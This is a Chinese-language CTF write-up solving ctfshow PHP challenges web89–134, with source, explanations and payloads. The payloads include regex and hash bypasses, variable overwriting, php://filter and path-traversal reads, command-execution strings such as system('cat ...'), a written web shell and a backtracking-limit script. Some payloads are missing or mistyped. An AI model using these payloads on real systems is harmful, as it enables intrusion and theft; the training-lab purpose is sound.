web89 1 2 3 4 5 6 7 8 9 10 11 12 include ("flag.php" );highlight_file (__FILE__ );if (isset ($_GET ['num' ])){ $num = $_GET ['num' ]; if (preg_match ("/[0-9]/" , $num )){ die ("no no no!" ); } if (intval ($num )){ echo $flag ; } }
查看代码发现 preg_match过滤0-9,即发现有0-9,就输出no no no,然而intval函数的作用是返回变量的整数值,两者相互矛盾
这里可以通过数组绕过,构造payload:?num[]=
获得flag
web90 1 2 3 4 5 6 7 8 9 10 11 12 13 include ("flag.php" );highlight_file (__FILE__ );if (isset ($_GET ['num' ])){ $num = $_GET ['num' ]; if ($num ==="4476" ){ die ("no no no!" ); } if (intval ($num ,0 )===4476 ){ echo $flag ; }else { echo intval ($num ,0 ); } }
查看源码发现,第一个if是验证num是否存在,第二个if验证num是否为4476,如果是就出输出nonono,但第三个if是验证num取整 后是否为4476,所以我们可以随便取一个4476.0-9,经过intval取整后即为4476符合条件,输出flag
web91 1 2 3 4 5 6 7 8 9 10 11 12 13 14 show_source (__FILE__ );include ('flag.php' );$a =$_GET ['cmd' ];if (preg_match ('/^php$/im' , $a )){ if (preg_match ('/^php$/i' , $a )){ echo 'hacker' ; } else { echo $flag ; } }else { echo 'nonononono' ; }
查看源码 先看第一个if preg_match()函数是用于一个正则表达式匹配 第一个if的意思是如果a的开头和结尾都是php,则进入下一个if /^php$/im中 ^ 表示开头 **$**表示结尾 /i表示对大小写不敏感 /m表示多行匹配
1 if (preg_match('/^php$/i' , $a ) )
这个if的意思是匹配a开头和结尾是php,不区分大小写,如果开头结尾为php,则输出hacker
仔细对比发现,第二个if的过滤对比第一个少了一个多行匹配/m,这可以用到Apache HTTPD换行解析漏洞传送门 大概意思是:以前的1.php可以用1%0aphp访问,%0a表示换行符,那么综上所述,就可以绕过函数的过滤 构造payload:
a%0aphp,首先是preg_match中的$(匹配结尾)匹配a%0aphp中的换行符,这个时候会匹配到%0a(将%0a当作换行),那么a%0aphp后面的php因为preg_match函数有个/m(匹配多行)就是单独的一行了,满足第一个if,要求行开始和结尾都是php
其次是第二个if,第二个if要求$a中开头和结尾没有php,而这个preg_match函数中没有/m匹配多行,所以就直接匹配abc,abc不满足第二个if,所以输出flag
web92 1 2 3 4 5 6 7 8 9 10 11 12 13 include ("flag.php" );highlight_file (__FILE__ );if (isset ($_GET ['num' ])){ $num = $_GET ['num' ]; if ($num ==4476 ){ die ("no no no!" ); } if (intval ($num ,0 )==4476 ){ echo $flag ; }else { echo intval ($num ,0 ); } }
解题方式与90题一样,第一个if验证num是否合格,第三个if则是如果num取整后等于4476则输出flag,这里可以?num=4476.(1-9都可以)
web93 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 include ("flag.php" );highlight_file (__FILE__ );if (isset ($_GET ['num' ])){ $num = $_GET ['num' ]; if ($num ==4476 ){ die ("no no no!" ); } if (preg_match ("/[a-z]/i" , $num )){ die ("no no no!" ); } if (intval ($num ,0 )==4476 ){ echo $flag ; }else { echo intval ($num ,0 ); } }
与92题解题方法一样,不同点在于93题加入了一个if函数来筛选,其实也不影响原本做题思路,加入了preg_match函数,作用是如果出现了a-z|A-Z的字符,就会输出nonono 下面还有一个函数intval,若num取整后等于4476,则输出flag,输入?num=4476.2获取flag
web94 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 include ("flag.php" );highlight_file (__FILE__ );if (isset ($_GET ['num' ])){ $num = $_GET ['num' ]; if ($num ==="4476" ){ die ("no no no!" ); } if (preg_match ("/[a-z]/i" , $num )){ die ("no no no!" ); } if (!strpos ($num , "0" )){ die ("no no no!" ); } if (intval ($num ,0 )===4476 ){ echo $flag ; } }
本题与前几题并无太大区别,我们注意到本题添加了一个if语句,strops(string,find,start)用于检测字符串在另一字符串出现的位置,满足strpos($num, “0”)语句的条件是num里的数有0返回true,没0返回flase,需要注意以下这个函数前面有一个!号,如果我们要绕过这个if语句,就需要使我们的num里含有0,这样就会绕过这个if,同时下一个取整函数也不会耽搁?num=4476.01 or ?num=4476.0皆可
web95 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 include ("flag.php" );highlight_file (__FILE__ );if (isset ($_GET ['num' ])){ $num = $_GET ['num' ]; if ($num ==4476 ){ die ("no no no!" ); } if (preg_match ("/[a-z]|\./i" , $num )){ die ("no no no!!" ); } if (!strpos ($num , "0" )){ die ("no no no!!!" ); } if (intval ($num ,0 )===4476 ){ echo $flag ; } }
这次的preg_match函数不仅把字母过滤了还把.给过滤了,这样我们就不能进行上一题的操作了,我们可以利用进制转换的便利,这里我们可以用010574(4476的八进制)绕过,去看了看intval函数的发现最开头可以如果是+还是可以识别为原数,so,payload=?num=+010574
web96 1 2 3 4 5 6 7 8 9 10 11 12 highlight_file (__FILE__ );if (isset ($_GET ['u' ])){ if ($_GET ['u' ]=='flag.php' ){ die ("no no no" ); }else { highlight_file ($_GET ['u' ]); } }
第二个if表明了不能直接以相对路径读取,那么我们可以用绝对路径读 payload:?u=/var/www/html/flag.php 或者也可以返回上一级然后再回来读取 payload:?u=../html/flag.php 或者 payload:?u=./flag.php
web97 1 2 3 4 5 6 7 8 9 include ("flag.php" );highlight_file (__FILE__ );if (isset ($_POST ['a' ]) and isset ($_POST ['b' ])) {if ($_POST ['a' ] != $_POST ['b' ])if (md5 ($_POST ['a' ]) === md5 ($_POST ['b' ]))echo $flag ;else print 'Wrong.' ; }
这一关使用MD5碰撞 而且使post方式所以要在hackbar里的post data里输入 我们这里使用数组的方式绕过,payload:a[]=1 & b[]=2 可以看到页面上出现了warning,但也显示了flag,这是因为PHP对无法md5加密的东西不加密,结果为NULL,虽然会报错,但是null=null,逻辑关系为True。所以可以输出flag。
web98 1 2 3 4 5 include ("flag.php" );$_GET ?$_GET =&$_POST :'flag' ;$_GET ['flag' ]=='flag' ?$_GET =&$_COOKIE :'flag' ;$_GET ['flag' ]=='flag' ?$_GET =&$_SERVER :'flag' ;highlight_file ($_GET ['HTTP_FLAG' ]=='flag' ?$flag :__FILE__ );
考点:变量覆盖、三元运算符、&在php中的应用作用 第一句的意思是如果存在GET请求则引用POST请求的内容 所以我们url栏中随便填一填 然后再在hackbar上的post data输入关键句HTTP_FLAG=flag 这样就成功回显了flag 所以第一句存在变量覆盖的效果,所以GET请求不管给什么东西都会被post请求覆盖掉
web99 1 2 3 4 5 6 7 8 highlight_file (__FILE__ );$allow = array ();for ($i =36 ; $i < 0x36d ; $i ++) { array_push ($allow , rand (1 ,$i )); }if (isset ($_GET ['n' ]) && in_array ($_GET ['n' ], $allow )){ file_put_contents ($_GET ['n' ], $_POST ['content' ]); }
要求:1、变量n存在于随机数组$allow中 知识点: 1.array_push()向数组尾部添加元素 2.file_put_contents($filename,$data,$data,$flags,$context)向文件中写入一个字符串,若没有文件,则先创建在写入 3.in_array($value,$array,$type) 弱类型比较 判断$value是否存在$array的值 $type若为true,则检测$value值与$array值的类型是否相同方法一: 执行系统命令 get: n=123.php 数字是多少无所为,小于0x36d就行,数组$allow是由36个小于0x36d的随机 数字组成,因此需要多试几次,虽然我试了很多次,但依旧没显示出来😭 post: content==system(tac fla*);?>
方法二: 上传木马 get: n=2.php post: content= 然后我们开启中国蚁剑 连接成功 获得flag!
web100 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 highlight_file (__FILE__ );include ("ctfshow.php" );$ctfshow = new ctfshow ();$v1 =$_GET ['v1' ];$v2 =$_GET ['v2' ];$v3 =$_GET ['v3' ];$v0 =is_numeric ($v1 ) and is_numeric ($v2 ) and is_numeric ($v3 );if ($v0 ){ if (!preg_match ("/\;/" , $v2 )){ if (preg_match ("/\;/" , $v3 )){ eval ("$v2 ('ctfshow')$v3 " ); } } }
flag in class ctfshow 先看v0,这里有个小特性,赋值=的优先级高于逻辑运算,所以只要让is_numeric($v1)返回true即可满足if判断,and后面的无论结果如何都不影响 再看第二个if,注意函数前面的!(非),表示了v2不能出现; 第三个if表示v3里必须要出现 ;
payload:?v1=123&v2=var_dump($ctfshow)&v3=;
tip: var_dump() 函数显示关于一个或多个表达式的结构信息,包括表达式的类型与值。数组将递归展开值,通过缩进显示其结构。.
例:
1 2 3 4 5 <?php $b = 3.1 ;$c = true ;var_dump ($b , $c );?>
输出为: float(3.1) bool(true)
本题的var_dump()用来得到ctfshow里的内容。
web101 first 上代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 highlight_file(__FILE__); include("ctfshow.php" );$ctfshow = new ctfshow();$v1 = $_GET ['v1'];$v2 = $_GET ['v2'];$v3 = $_GET ['v3'];$v0 = is_numeric($v1 ) and is_numeric($v2 ) and is_numeric($v3 );if ($v0 ){ if (! preg_match("/\\ \\ |\/|\~|\`|\!|\@|\#|\\ $|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\" |\' |\,|\.|\;|\?|[0-9]/" , $v2 )){ if (! preg_match("/\\ \\ |\/|\~|\`|\!|\@|\#|\\ $|\%|\^|\*|\(| \-| \_ | \+| \=| \{| \[| \"|\' |\,|\.|\?|[0-9]/" , $v3 ) ){ eval(" $v2 ('ctfshow')$v3 "); } } }
可以看出这次特殊符号基本上都被禁用了,利用ReflectionClass(咱也不知道是啥,看题解也不会😭)建立ctfshow类的反射类,new ReflectionnClass($class)获得class的反射对象(包括了元数据信息) v3是不能为;以外的特殊字符
payload:?v1=1&v2=echo new Reflectionlass&v3=; 获取的 flag 需要将 0x2d 替换成 -
web102-103 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 highlight_file (__FILE__ );$v1 = $_POST ['v1' ];$v2 = $_GET ['v2' ];$v3 = $_GET ['v3' ];$v4 = is_numeric ($v2 ) and is_numeric ($v3 );if ($v4 ){ $s = substr ($v2 ,2 ); $str = call_user_func ($v1 ,$s ); echo $str ; file_put_contents ($v3 ,$str ); }else { die ('hacker' ); }
看到file_put_contents要条件反射,因为它可以配合伪协议
1 2 3 file_put_contents() //用来写文件进去,其中文件名参数是支持伪协议的,用于将第二个参数content进行过滤器后再写进文件里面去 file_put_content($_POST['filename'], " <?php system ($_GET ['c' ]);?> ");
通过伪协议直接生成文件?v3=php://filter/write=convert.base64-decode/resource=2.php
通过十六进制v2=115044383959474e6864434171594473 post :v1=hex2bin
然后得到 PD89YGNhdCAqYDs base64解码为<?=`cat *`;
访问2.php查看源码即可查看到flag
web104 1 2 3 4 5 6 7 8 9 10 highlight_file (__FILE__ );include ("flag.php" );if (isset ($_POST ['v1' ]) && isset ($_GET ['v2' ])){ $v1 = $_POST ['v1' ]; $v2 = $_GET ['v2' ]; if (sha1 ($v1 )==sha1 ($v2 )){ echo $flag ; } }
sha1()与MD5一样都是有漏洞可以绕过的
sha1漏洞 例如这个代码:$_GET['name']!=$_GET['password']&&sha1($_GET['name'])===sha1($_GET['password'])
可通过构造?name[]&password[]=123123
来绕过 GET:?v2[]=123123 POST:v1[]= 得出flag
web105 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 highlight_file (__FILE__ );include ('flag.php' );error_reporting (0 );$error ='你还想要flag嘛?' ;$suces ='既然你想要那给你吧!' ;foreach ($_GET as $key => $value ){ if ($key ==='error' ){ die ("what are you doing?!" ); } $$key =$$value ; }foreach ($_POST as $key => $value ){ if ($value ==='flag' ){ die ("what are you doing?!" ); } $$key =$$value ; }if (!($_POST ['flag' ]==$flag )){ die ($error ); }echo "your are good" .$flag ."\n" ;die ($suces );
题目一共有三个变量$error $suces $flag 我们只要令其中一个的值为flag,都是可以通过die或者直接echo输出的 通过die($error)输出 get:a=flag post:error=a 进行的操作为
此时$a=flag;$error=flag,从而输出error也就是输出flag
web106 1 2 3 4 5 6 7 8 9 10 highlight_file (__FILE__ );include ("flag.php" );if (isset ($_POST ['v1' ]) && isset ($_GET ['v2' ])){ $v1 = $_POST ['v1' ]; $v2 = $_GET ['v2' ]; if (sha1 ($v1 )==sha1 ($v2 ) && $v1 !=$v2 ){ echo $flag ; } }
此题与104题相同,利用sha1的漏洞,post:v1[]= get:v2[]=123123
获取flag
web107 1 2 3 4 5 6 7 8 9 10 11 12 13 highlight_file (__FILE__ );error_reporting (0 );include ("flag.php" );if (isset ($_POST ['v1' ])){ $v1 = $_POST ['v1' ]; $v3 = $_GET ['v3' ]; parse_str ($v1 ,$v2 ); if ($v2 ['flag' ]==md5 ($v3 )){ echo $flag ; } }
看到MD5,我们选择数组绕过,让v1=flag,我的理解是v2含于v1,v2[‘flag’],所以v1要包含flag payload:
1 2 3 GET :v3[]= 122 POST :v1=flag
web108 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 highlight_file (__FILE__ );error_reporting (0 );include ("flag.php" );if (ereg ("^[a-zA-Z]+$" , $_GET ['c' ])===FALSE ) { die ('error' ); }if (intval (strrev ($_GET ['c' ]))==0x36d ){ echo $flag ; }?>
intval()函数用于获取变量的整数值。 strrev() 函数反转字符串。 0x36d=877 且前面if是正则表达式匹配,则get里得有一个符合正则匹配的字符,即第一个要为字母 %00为截断作用,就是c语言中字符串的截止符号/0的作用
这样即满足了第一个if的正则匹配在%00处停止,也满足了第二个if反转弱比较等于877在%00处停止。
web109 1 2 3 4 5 6 7 8 9 10 11 highlight_file (__FILE__ );error_reporting (0 );if (isset ($_GET ['v1' ]) && isset ($_GET ['v2' ])){ $v1 = $_GET ['v1' ]; $v2 = $_GET ['v2' ]; if (preg_match ('/[a-zA-Z]+/' , $v1 ) && preg_match ('/[a-zA-Z]+/' , $v2 )){ eval ("echo new $v1 ($v2 ());" ); } }
代码在此,正则表达式匹配,关键在于eval里的内容,意思为初始化一个v1类,v2()是传入这个类的参数,那么v1就是一个内置类 payload:
1 ?v1=mysqli&v2 =system ('cat fl36dg.txt' )
也就是初始化一个mysqli类,但是实际上这个类的初始化时候传参不止这一个,所以是初始化失败的,但是由于其内部有魔术方法_toString
如果类定义了toString方法,就能在测试时,echo打印对象体,对象就会自动调用它所属类定义的toString方法,格式化输出这个对象所包含的数据。 这时候就可以echo出来了。 同样Exception
也是可以的,这个类会把传入的参数输出出来,也是_toString
方法的,所以payload如下:
1 ?v1=exception &v2=system ('cat fl36dg.txt' )
web110 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 highlight_file(__FILE__); error_reporting(0); if(isset($_GET['v1']) && isset($_GET['v2'])){ $v1 = $_GET['v1']; $v2 = $_GET['v2']; if(preg_match('/\~|\` |\! |\@ |\# |\\$ |\% |\^ |\& |\* |\( |\) |\_ |\- |\+ |\= |\{ |\[ |\; |\: |\" |\' |\, |\. |\? |\\\\ |\/ |[0-9]/', $v1)){ die("error v1"); } if(preg_match('/\~ |\` |\! |\@ |\# |\\$ |\% |\^ |\& |\* |\( |\) |\_ |\- |\+ |\= |\{ |\[ |\; |\: |\" |\' |\, |\. |\? |\\\\ |\/ |[0-9]/', $v2)){ die("error v2"); } eval("echo new $v1($v2());"); }
代码可知,正则匹配过滤了几乎除字母外的所有字符,所以web109的方法不再适用,找一个可以用的内置类和纯字母函数 类: FilesystemIterator() 遍历文件类 directoryItrerator() 遍历目录类 函数: getcwd() 返回当前工作目录
payload:
1 ?v1 =FilesystemIterator &v2 =getcwd
回显了一个fl36dga.txt文件,在url中输入即可获取flag
web111 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 highlight_file(__FILE__); error_reporting(0); include("flag.php" ); function getFlag(&$v1,&$v2){ eval("$$v1 = &$$v2;" ); var_dump($$v1); } if(isset($_GET['v1']) && isset($_GET['v2'])){ $v1 = $_GET['v1']; $v2 = $_GET['v2']; if(preg_match('/\~| |\` |\! |\@ |\# |\\$ |\% |\^ |\& |\* |\( |\) |\_ |\- |\+ |\= |\{ |\[ |\; |\: |\" |\' |\, |\. |\? |\\\\ |\/ |[0-9] |\< |\>/', $v1)){ die("error v1"); } if(preg_match('/\~ | |\` |\! |\@ |\# |\\$ |\% |\^ |\& |\* |\( |\) |\_ |\- |\+ |\= |\{ |\[ |\; |\: |\" |\' |\, |\. |\? |\\\\ |\/ |[0-9] |\< |\>/', $v2)){ die("error v2"); } if(preg_match('/ctfshow/', $v1)){ getFlag($v1,$v2); }
同样的v1&v2只能输入字母,最下面的正则匹配表示v1=ctfshow, getflag中&符号与c语言指针一样,在eval中$$v1=&$$v2
表示为变量覆盖 payload:
回显为NULL,因为getflag里为局部变量,无法使用外部变量
1 2 $GLOBALS — 引用全局作用域中可用的全部变量 一个包含了全部变量的全局组合数组。变量的名字就是数组的键。
所以对于该题,只要把$GLOBALS赋值给v2,然后v2再赋值给v1,即可将全部变量输出 payload:
web112 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 highlight_file(__FILE__ ) ; error_reporting(0) ;function filter($file){ if (preg_match('/ \.\.\/ |http |https |data |input |rot13 |base64 |string / i ',$file ) ){ die("hacker!" ); }else { return $file; } } $file=$_GET['file '] ;if (! is_file($file ) ){ highlight_file(filter ($file ) ); }else { echo "hacker!" ; }
is_file 函数可以使用包装器 伪协议来绕过 不影响file_get_contents highlight_file
if(!is_file($file)){表示file文件不存在才能通过if 而is_file()和highlight_file()都可配合伪协议 所以我们使用一个伪协议?file=php://filter/convert.base64-encode/resource=flag.php
又因为base64被过滤,我们不使用转换,去掉/convert.base64-encode
所以
payload:
1 ?file=php:// filter/resource=flag.php
web113 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 highlight_file (__FILE__ );error_reporting (0 );function filter ($file ) { if (preg_match ('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i' ,$file )){ die ('hacker!' ); }else { return $file ; } }$file =$_GET ['file' ];if (! is_file ($file )){ highlight_file (filter ($file )); }else { echo "hacker!" ; } <?php
上述代码增加了一个对filter的正则匹配,所以不能用上一题的办法,找一下其它的协议 payload:
换用读取压缩流
linux里/proc/self/root
是指向根目录的,也就是如果在命令行中输入ls /proc/self/root
,其实显示的内容是根目录下的内容,多次重复后绕过is_file
目录溢出is_file判断为不是一个文件
payload:
1 2 3 4 5 ?file =/proc/ self/root/ proc/self/ root/proc/ self/root/ proc/self/ root/proc/ self/root/ p roc/self/ root/proc/ self/root/ proc/self/ root/proc/ self/root/ proc/self/ root/pro c/self/ root/proc/ self/root/ proc/self/ root/proc/ self/root/ proc/self/ root/proc/ self/root/ proc/self/ root/proc/ self/root/ proc/self/ root/proc/ self/root/ proc/se lf/root/ proc/self/ root/var/ www/html/ flag.php
web114 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 error_reporting(0) ; highlight_file(__FILE__ ) ;function filter($file){ if (preg_match('/ compress |root |zip |convert |\.\.\/ |http |https |data |data |rot13 |base64 |string / i ',$file ) ){ die('hacker!'); }else { return $file; } } $file=$_GET['file '] ; echo "师傅们居然tql都是非预期 哼!" ;if (! is_file($file ) ){ highlight_file(filter ($file ) ); }else { echo "hacker!" ; }
这回正则匹配又改变了,过滤了compress,和root,所以上题的两种方法都用不成了,但是它并没有过滤filter,所以本题 payload:
1 ?file=php:// filter/resource=flag.php
web115 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 include ('flag.php' );highlight_file (__FILE__ );error_reporting (0 );function filter ($num ) { $num =str_replace ("0x" ,"1" ,$num ); $num =str_replace ("0" ,"1" ,$num ); $num =str_replace ("." ,"1" ,$num ); $num =str_replace ("e" ,"1" ,$num ); $num =str_replace ("+" ,"1" ,$num ); return $num ; }$num =$_GET ['num' ];if (is_numeric ($num ) and $num !=='36' and trim ($num )!=='36' and filter ($num )=='36' ){ if ($num =='36' ){ echo $flag ; }else { echo "hacker!!" ; } }else { echo "hacker!!!" ; }
is_numeric()函数在于检测变量是否为数字或数字字符串 trim(string,charlist)函数用于一处字符串两侧的空白字符或其它预定义字符,如charlist没有内容,trim()将去除这些字符
“ “(ASCII 32(0X20)) 普通空格符。
“\t”(ASCII 9(0x09)) 制表符。
“\n”(ASCII 10(0x0A)) 换行符。
“\r”(ASCII 13(0x0D)) 回车符。
“\0”(ASCII 0(0x00)) 空字节符。
“\x0B”(ASCII 11 (0x0B)) 垂直制表符。
payload:
ascii表中0c为换页符,所以能绕过trim() 且弱比较不影响,filter()也为true 注: num!==36 为强类型比较,因num=%0c36与36不一样,所以为true,if($num=='36'){
为弱比较也为true,所以都能通过
web123 1 2 3 4 5 6 7 8 9 10 11 12 13 14 error_reporting (0 );highlight_file (__FILE__ );include ("flag.php" );$a =$_SERVER ['argv' ];$c =$_POST ['fun' ];if (isset ($_POST ['CTF_SHOW' ])&&isset ($_POST ['CTF_SHOW.COM' ])&&!isset ($_GET ['fl0g' ])){ if (!preg_match ("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/" , $c )&&$c <=18 ){ eval ("$c " .";" ); if ($fl0g ==="flag_give_me" ){ echo $flag ; } } }
在php中变量名字是由数字字母和下划线组成的,所以不论用post还是get传入变量名的时候都将空格、+、点、[转换为下划线,但是用一个特性是可以绕过的,就是当[提前出现后,后面的点就不会再被转义了,例如:CTF[SHOW.COM=>CTF_SHOW.COM
if($fl0g===”flag_give_me”)与前面第一个if有冲突,所以我们弃用这个if eval()中可以运行php代码,所以 payload:
1 2 POST: CTF_SHOW=1 &CTF[SHOW.COM=1 &fun =echo $flag
正则匹配里要求的c<=18,在本地验证一下是否满足
1 2 3 4 <?php $a ='echo $flag' ;var_dump ($a <=18 );
返回结果为true 提交获得flag
web125 1 2 3 4 5 6 7 8 9 10 11 12 13 error_reporting (0 );highlight_file (__FILE__ );include ("flag.php" );$a =$_SERVER ['argv' ];$c =$_POST ['fun' ];if (isset ($_POST ['CTF_SHOW' ])&&isset ($_POST ['CTF_SHOW.COM' ])&&!isset ($_GET ['fl0g' ])){ if (!preg_match ("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i" , $c )&&$c <=16 ){ eval ("$c " .";" ); if ($fl0g ==="flag_give_me" ){ echo $flag ; } } }
和上一题不一样的是,它过滤了flag和echo 方法一: payload:
1 2 3 4 POST: CTF_SHOW=1 &CTF[SHOW.COM=1 &fun =highlight_file ($_GET[1 ]) GET: ?1 =flag.php
因为if把fun中的flag过滤了,所以这样来绕过过滤
方法二: payload:
1 2 POST: CTF_SHOW=1 &CTF[SHOW.COM=2 &fun =extract ($_POST) &fl0g=flag_give_me
extract变量覆盖,使fl0g有值通过最后的if
web126 1 2 3 4 5 6 7 8 9 10 11 12 13 highlight_file (__FILE__ );include ("flag.php" );$a =$_SERVER ['argv' ];$c =$_POST ['fun' ];if (isset ($_POST ['CTF_SHOW' ])&&isset ($_POST ['CTF_SHOW.COM' ])&&!isset ($_GET ['fl0g' ])){ if (!preg_match ("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i" , $c ) && strlen ($c )<=16 ){ eval ("$c " .";" ); if ($fl0g ==="flag_give_me" ){ echo $flag ; } } }
这里禁用了g i f c o d,前面的方法都不能用了 利用$_SERVER[‘argv’] $_SERVER[‘argv’]是一个包含了诸如头信息(hearder)、路径(path)、以及脚本位置(script locations)等等信息的数组。这个数组中的项目由web服务器创建。'argv'
传递给该脚本的参数的数组。当脚本以命令行方式运行时,argv变量传递给程序c语言样式的命令行参数。当通过GET方式到用时,该变量包含query string。
意思就是通过$_SERVER[‘argv’]将$a变成数组,再利用数组的性质将fl0g=flag_give_me传入,同时还绕过第一个if中的!isset($_GET['fl0g])
,用+进行分隔,使得数组中有多个数值。 执行eval函数也就是执行$c既是parse_str($a[1]),使得fl0g=flag_give_me,从而进入第三个if语句。
1 2 3 payload: GET: ?a=1 +fl0g=flag_give_me POST:CTF_SHOW=1 &CTF[SHOW.COM=1 &fun =parse_str ($a[1 ])
+为空格 数组以空格来分割 a[0]=1 a[1]=fl0g=flag_give_me 且parse_str($a[1])为16个字符满足条件
web127 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 error_reporting (0 );include ("flag.php" );highlight_file (__FILE__ );$ctf_show = md5 ($flag );$url = $_SERVER ['QUERY_STRING' ];function waf ($url ) { if (preg_match ('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//' , $url )){ return true ; }else { return false ; } }if (waf ($url )){ die ("嗯哼?" ); }else { extract ($_GET ); }if ($ctf_show ==='ilove36d' ){ echo $flag ; }
由于PHP的变量名不能带[点]和[空格],所以它们会被转化成下划线 payload:
因为空格没有禁用而+和.被禁用,所以用’ ‘来代替
web128 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 error_reporting (0 );include ("flag.php" );highlight_file (__FILE__ );$f1 = $_GET ['f1' ];$f2 = $_GET ['f2' ];if (check ($f1 )){ var_dump (call_user_func (call_user_func ($f1 ,$f2 ))); }else { echo "嗯哼?" ; }function check ($str ) { return !preg_match ('/[0-9]|[a-z]/i' , $str ); }
特殊字符为函数只有一个_(),_()==gettext() 是gettext()的拓展函数
get_defined_vars() 函数返回由所有已定义变量所组成的数组。
1 2 payload: ?f1 =_ &f2 =phpinfo
发现gettext开启
1 2 payload: ?f1 =_ &f2 =get_defined_vars
web129 1 2 3 4 5 6 7 8 error_reporting (0 );highlight_file (__FILE__ );if (isset ($_GET ['f' ])){ $f = $_GET ['f' ]; if (stripos ($f , 'ctfshow' )>0 ){ echo readfile ($f ); } }
stripos() 函数查找字符串在另一字符串中第一次出现的位置(不区分大小写)。 readfile() 函数读取一个文件,并写入到输出缓冲。 目录穿越 我们可以一级一级返回上级目录再进入到我们想进入的目录中
1 2 payload: ?f=../../ ctfshow/../ ../../ ../var/ www/html/ flag.php
web130 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 error_reporting (0 );highlight_file (__FILE__ );include ("flag.php" );if (isset ($_POST ['f' ])){ $f = $_POST ['f' ]; if (preg_match ('/.+?ctfshow/is' , $f )){ die ('bye!' ); } if (stripos ($f , 'ctfshow' ) === FALSE ){ die ('bye!!' ); } echo $flag ; }
第一个if(preg_match('/.+?ctfshow/is', $f))
is中 i代表匹配大小写 s代表匹配换行 +?代表ctfshow前面至少有一个字符才能匹配 if(stripos($f, ‘ctfshow’) === FALSE)只要$f中能匹配到ctfshow,返回的int值都会不等于FALSE
所以 payload:
web131 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 error_reporting (0 );highlight_file (__FILE__ );include ("flag.php" );if (isset ($_POST ['f' ])){ $f = (String)$_POST ['f' ]; if (preg_match ('/.+?ctfshow/is' , $f )){ die ('bye!' ); } if (stripos ($f ,'36Dctfshow' ) === FALSE ){ die ('bye!!' ); } echo $flag ; }
先看stripos()函數,它的意思是查找 “string” 在字符串中第一次出现的位置: 所以说36Dctfshow必须在f中出现,但同时preg_match函数过滤了ctfshow,所以我们考虑绕过preg_match函数 一共有以下几种方法绕过preg_match函数
数组绕过preg_match只能处理字符串,当传入的subject是数组时会返回false
换行符绕过,preg_match不会匹配换行符例如: /?value=%0ashell.php 则会成功传入 /?value=shell.php
PCRE回溯限制次数绕过,这个通俗的讲便是重复的填入正常字符串一般往里面插入个100个字母便可,让preg_match函数一直回溯一直回溯,直到吹灯拔蜡返回false
前两种方式提交发现并不能绕过返回flag 那么用第三种方法 首先在php编译器运行下列代码
1 2 <?php echo str_repeat ('fukk' , '250000' ).'36Dctfshow' ;
str_repeat是用于复制 复制粘贴到post,如果因为复制的太多而无法复制到最后面的36Dctfshow,那么手动添加即可,提交得到flag
也可以python写一个脚本
1 2 3 4 5 6 7 8 import requests url = 'http://49eb1749-d5f4-4cfd-b5ef-4e14a38d2463.challenge.ctf.show/' data = { 'f' : 'fukk' * 250000 + '36Dctfshow' } r = requests.post(url =url, data =data).textprint (r)
web132 本题是一个网页,进去随便点一点,没有发现可用的信息 回想web4里有个提示:”总有人把后台地址写入robots” url输入robots.txt 获得一个提示 进入admin 或者可以用御剑来扫描御剑是用来方便查找用户后台登录地址 也可以得到admin 进入admin得到下面代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 include ("flag.php" );highlight_file (__FILE__ );if (isset ($_GET ['username' ]) && isset ($_GET ['password' ]) && isset ($_GET ['code' ])){ $username = (String)$_GET ['username' ]; $password = (String)$_GET ['password' ]; $code = (String)$_GET ['code' ]; if ($code === mt_rand (1 ,0x36D ) && $password === $flag || $username ==="admin" ){ if ($code == 'admin' ){ echo $flag ; } } }
再来分析if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin")
第一个code让他为false,password也为false,只要username为真,就能通过if 所以payload:
1 2 ?code = 888 &password =888 &username =admin
web134 1 2 3 4 5 6 7 8 9 10 11 highlight_file (__FILE__ );$key1 = 0 ;$key2 = 0 ;if (isset ($_GET ['key1' ]) || isset ($_GET ['key2' ]) || isset ($_POST ['key1' ]) || isset ($_POST ['key2' ])) { die ("nonononono" ); } @parse_str ($_SERVER ['QUERY_STRING' ]);extract ($_POST );if ($key1 == '36d' && $key2 == '36d' ) { die (file_get_contents ('flag.php' )); }
看到parse_str和extract,变量覆盖 第一条if判断,要求key1和key2不能通过get和post传递
1 2 3 4 parse_str () :把查询字符串解析到变量中extract () :函数从数组中将变量导入到当前的符号表 $_SERVER['QUERY_STRING' ] query string是Uniform Resource Locator (URL)的一部分, 其中包含着需要传给web application的数据
parse_str是对get请求进行的内容解析成变量,例如传递?a=1,执行后就是$a=1. 那么相对的,传递_POST,就是对$_POST进行赋值,正好就可以绕过if条件对post的限制。extract()函数从数组中将变量导入到当前的符号表。
